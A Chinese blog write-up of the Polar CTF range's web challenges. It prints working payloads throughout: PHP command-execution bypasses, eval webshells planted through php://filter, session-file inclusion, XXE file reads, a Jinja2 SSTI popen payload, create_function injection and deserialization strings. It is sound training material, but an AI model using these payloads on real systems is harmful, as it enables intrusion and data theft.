Polar靶场web通关记录
新人尝试,还请见谅!!!
web简单
swp
进题先扫dirsearch
然后发现了一个叫做/.index.php.swp的备份文件。访问/.index.php.swp
这时我们需要post一个名为xdmtql的变量,然后这个变量不能是数组。不能与/sys.nb/is正则匹配。但是结果的sys nb要在第一位。
但是结果的sys nb要在第一位。
我尝试了用回车绕过,因为.有一个特质:
. | 匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 . 。 |
---|---|
* | 匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 *。 |
这就说明,如果换行符应该是不会被检测的。但是还是错的。所以就用回溯绕过法:
运行得到
简单rce
post传参一个yyds=666,这是不会被检测的。然后再用get传参一个sys。这个sys好多被过滤了。system和popen也被过滤了。可以使用exec或者直接用``反引号进行命令执行。
然后空格被过滤了拿%09或者别的${IFS}之类的过去。我们先尝试一下payload:
?sys=passthru( ' ls%09/' );
用passthru执行,%09替换空格
?sys=passthru('sort%09/flag');
sort查看flag
flag{j6856fd063f0a04874311187da1191h6}
蜜雪冰城吉警店
查看源代码
发现id从1到8,没有9,根据提醒在element里面将任意一个id改成9再点击
召唤神龙
进题可以看见一个游戏界面,进入源码看一下
用控制台解密
flag{fdf9a88ec4fdd9e3dedaafeece5cc248}
seek flag
dirsearch先看一下源码:
不想让爬虫爬到,那么就是/robots.txt了。
那我们抓包放包试试:
发现里面包含了id=0,那么我们自然地把他改成1然后放包:
找到flag1和flag2了。然后去/robots.txt看一下:
然后拼接起来就是flag了。
flag{7ac5b3ca8737a70f029dc0ad71dadd11}
login
进题看到一个登录界面,很自然地尝试了注入。但是没用。看了源码发现了提示是:
点击查看代码
<!--20200101
20200101-->
,那么我们拿这两个进去尝试:
抓包试一下
由于已经回显了一个f,所以考虑是否存在通过用户名遍历信息,采用其他账号登录会回显其他flag
根据以上思路使用202002,202003,202004以及相同密码依次登录得出完整wp
iphone
那么我们抓包把User-Agent改成iphone就可以了:
浮生日记
$$
爆破
真的就是像题目说的,直接爆破
XFF
要ip是1.1.1.1,那么我们直接伪造就行了:
X-Forwarded-For:1.1.1.1
最后得到flag{847ac5dd4057b1ece411cc42a8dca4b7}
rce1
GET-POST
简单题,进题直接搓payload:
?id=1
jljcxy=flag
利用hackbar
被黑掉的站
先dirsearch扫一下,发现了/index.php.bak还有shell.php
先/index.php.bak,发现是字典
查看源码复制成txt文件,在bp中进行字典爆破,爆破发现长度不一样的只有nikel
输入nikel的时候就会回显flag
flag{8e539a7a46fea05dea18b9b9f9ff6a63}
签到题
进题发现啥有没有,开一下bp看看。发现了cookie。改一下:
然后在那个base64加密的地方解码,发现了/data/index.php的网页,看源码:
发现要绕过../并进行目录穿越。一开始以为是apache的目录穿越漏洞。但是后来发现可以直接用双写绕过。(而且apache那个漏洞没用)所以我先尝试了payload:
?file=..././index
发现回显了,说明方向没错。
但是include会直接执行文件,所以就需要php伪协议来读取,最后的payload:
?file=php://filter/read=convert.base64-encode/resource=..././..././..././..././flag
然后拿去base64解码就得到了flag。
签到
发现提交无法点击,查看源代码将disabled删掉,随即输入密码查看
得到提示,发现有直接输入框会有文本长度限制,只能在bp里面发包:
得到flag{fa3f77dd58a0a8f990bb6292da75618f}
session文件包含
打开题目查看是一个输入框
随便点击任意一个url会变成/action.php?file=2.txt
用伪协议读取action.php
file=php://filter/read=convert.base64-encode/resource=action.php
可以传递一句话木马name=php<?($_POST['a']);?>
发送后通过文件包含漏洞访问该木马文件。(可以类比日志包含写马学习)
action.php?file=../../../tmp/sess_6a5bb7c6a6432dfe42bf1f9ed445c3de
最后通过hackerbar或蚁剑获得flag都可以。
Don't touch me
robots
根据题目以及进题的提示,知道是robots协议了:
进/robots.txt访问一下,发现了/fl0g.php。进去访问就得到flag了
php very nice
ezupload
cookie欺骗
查看题目
那就抓包修改cookie
得到flag{10e35c76602b330149ef009e0b484d8f}
upload
干正则
cool
查看源码
就是简单的正则绕过,构造payload:
?a=echo 'ls';
?a=echo 'cat fl\ag.txt';
flag{4512esfgsdIirhgui82545er4g5e5rg4er1}
uploader
覆盖
PHP反序列化初试
机器人
因为是机器人,所以先访问一下/robots.txt
再访问一下/27f5e15b6af3223f1176293cd015771d/flag.php
拼接一下
flag{4749ea1ea481a5d56685442c8516b61c}
扫扫看
提醒我们扫一下,用dirsearch扫一下得到flag.php,进去看看
debudao
审计
秒了,有个特殊的东西 0e215962017,他md5后的值是本身
upload1
干正则
进题看源码
他是一个需要ping的源码,然后看到了@parse_str()函数。就是读取一个变量并将其转换为数组的形式,我们构造一下payload:
?id=a[0]=www.polarctf.com
这里补充一下
empty()函数是用来测试变量是否已经配置。若变量已存在、非空字符串或者非零,则返回 false 值;反之返回 true值。所以,当字符串的值为0时,也返回true,就是执行empty内部的语句。这就是陷阱。
preg_match()可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。
发现a[0]的值确实被更改了,那么接下来就简单了,先构造一个cmd=|ls;,发现回显了flag.php,但是不能直接读取,我们尝试用读取ls的命令,payload:
?id=a[0]=www.polarctf.com&cmd=|cat
ls;
然后在源码中找到了flag。
flag{e44882416c9fa79cc5a6a51e6e19cdbc}
web中等
到底给不给flag呢
这道题是有关代码审计的,先c=flag然后让flag=c这样被解析之后,就是$c=$flag&$flag=$c,从而达到真正输出flag的作用。而不会用一个变量c把$flag=flag{xxxxxx}给覆盖。那么最后echo出来的就是$flag
?c=flag&flag=c
查看源代码,因为发现有大量“ <br/ >” 阻拦,拉到最底部,
发现flag{7c21614802acfb30b55697b3f5122be1}
写shell
根据经验这时应该输入一句话木马,但是事实告诉我们没有这么简单
?filename=php://filter/convert.base64-decode/resource=shell.php
name=php**<?=@eval($_POST[1]);?>**
我们应该需要在filename这里面写入一个content以达到获取flag的效果。那么这就应该写入一句话木马,那么前面的exit()该如何越过成了问题。看一下wp,发现可以使用base64解密的方式进行绕过。那么就将命令加密,并且前面加上任意一个字母进行分隔,payload:
?filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD89QGV2YWwoJF9QT1NUWzFdKTs/Pg==
然后访问/shell.php发现木马被读入,我们用蚁剑连接一下:
某函数的复仇
由于怎么也想不到是哪个函数,我们直接去看了wp。发现是create_function()这个函数。他会直接执行这个创建的新函数。不过它需要一个闭合和一个注释。所以我们构造payload:
?root=;}system('ca\t /f*');/*
shaw=create_function
xxe
先用dir扫一扫
发现了/dom.php
然后就找到了报错信息,去找了一下xxe漏洞的攻击方式,然后根据wp构造payload:
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<name>&xxe;</name>
]>
base64解码后得到flag。
SSTI
简单的ssti,先随便给个{{6*6}}发现回显36,说明是SSTI中的python-flask模块的Jinjia2模板。(或者是php的一个模板)我们尝试直接用Jinjia2模板的payload:
{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /f*").read()')}}
套用就可以
{{a.__init__.__globals__[%27__builtins__%27].eval(%27__import__(%22os%22).popen(%22cat /f*%22).read()%27)}}
csdn
先查看源码
然后又发现url处有xxs传参,直接用file协议进行文件读取,payload如下
flag{4787370fb09bd230f863731d2ffbff6a}
Dragon
这道题的flag在cookie里面。
tnl
尝试输入密码后,发现一串字符
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1
先抓包
发现输入的内容被传递给了twothree参数
猜测该题可能考察文件包含,通过伪协议读取index.php的源码。payload:
php://filter/read=convert.base64-encode/resource=index.php
读取出base64编码
成功读出源码,解码
点击查看代码
<form action="" method="post">
<label for="twothree">Please input your ID:</label>
<input type="text" id="twothree" name="twothree" required>
<br>
<input type="submit" value="Submit">
</form>
<?php
error_reporting(0);
@$file = $_POST['twothree'];
if(isset($file))
{
if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";
}
}
?>
php://filter/read=convert.base64-encode/index/resource=flag
该伪协议中,php会忽略无效值index,它实际执行的语句为:php://filter/read=convert.base64-encode/resource=flag
ExX
进入题目后发现inflagggg.php和phpinfo
猜测php漏洞
用dir扫一下得到 /dom.php,访问一下
发现是xml的报错,这里xxe漏洞,通过构造payload来找到flag
点击查看代码
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flagggg.php" >]>
<user>
<name>&xxe;</name>
</user>
你知道sys还能这样玩吗
点开后发现是403
试一下sys,毕竟题目就是sys.
得到源码,但是发现全是漏洞
这里找了一下官方wp,使用php -r 在终端执行php函数来实现二次命令执行,命令转换为十六进制编码
cmd=php -r 'system(hex2bin(ff3b746163202f666c61672e747874));'
这里为什么前面要加ff,为了命令执行不受限,反弹shell。这里有一个小细节就是弹shell前的不可见字符是为了hex2bin函数能够成功执行。因为ban了引号,变量类型自动判断,如果十六进制开头是数字那么我设置的变量$a会被判断为数字,从而报错无法执行。
代码审计1
源码中echo new $sys($xsx)可以看出是原生类的利用。我们发现这题是读取文件,所以用的是类SplFileObject,然后由于第一个if时xsx并没有赋值,所以第一个if是没用的。我们直接payload:
?sys=SplFileObject&xsx=flag.php
然后发现读取不出来。然后去看了wp,发现被执行了,重新payload:
?sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php
解码就可以了
你的马呢?
根据题目,试试传一句话木马,发现不行
能识别,那就用base64加密,转换一下再试试
成功了
利用payload:
/index.php?file=php://filter/convert.base64-decode/resource=uploadss/1.jpg
然后蚁剑
找到flag{8f185d911c7cd5c6e98b1db8cd4bb1e7}
随机值
进题看源码:
</details>
include "flag.php";
class Index{
private $Polar1;
private $Polar2;
protected $Night;
protected $Light;
function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
if(isset($_GET['sys'])){
$a = unserialize($_GET['sys']);
$a->getflag($flag);
}
else{
highlight_file("index.php");
}
?>
我们需要反序列化一个Index类并且让里面的$Polar1和$Night赋值为一个随机数。调用getflag()–>需要使其传入的当前类的实例化对象的序列化字符串中的私有属性Polar1和Polar2全等且保护属性Night和Light全等;
利用在线网站获取Payload
</details>
<?php
class Index{
function __construct(){
$this->Polar1 = &$this->Polar2;
$this->Night = &$this->Light;
}
}
$a = new Index();
echo urlencode(serialize($a));
最后直接传参
phpurl
题目中的附件内容:
解码后是index.phps的备份文件,我们去看看源码:
根据源码,我们需要对xxs进行两次编码
payload:
?sys=%25%37%38%25%37%38%25%37%33
php反序列化
世界最幸福的事情莫过于当一个脚本小子
点击查看代码
import requests
def attack(url, payload):
url += payload
res = (requests.get(url).content.decode('utf8'))
if res:
print(res[res.rindex('flag'):res.rindex('"')])
if __name__ == '__main__':
site = 'http://~.www.polarctf.com:8090/'
pl = '?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}'
attack(site, pl)
flag{08a46a069bd77e33531bb2ab244f4196}
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 本地部署 DeepSeek:小白也能轻松搞定!
· 如何给本地部署的DeepSeek投喂数据,让他更懂你
· 从 Windows Forms 到微服务的经验教训
· 李飞飞的50美金比肩DeepSeek把CEO忽悠瘸了,倒霉的却是程序员
· 超详细,DeepSeek 接入PyCharm实现AI编程!(支持本地部署DeepSeek及官方Dee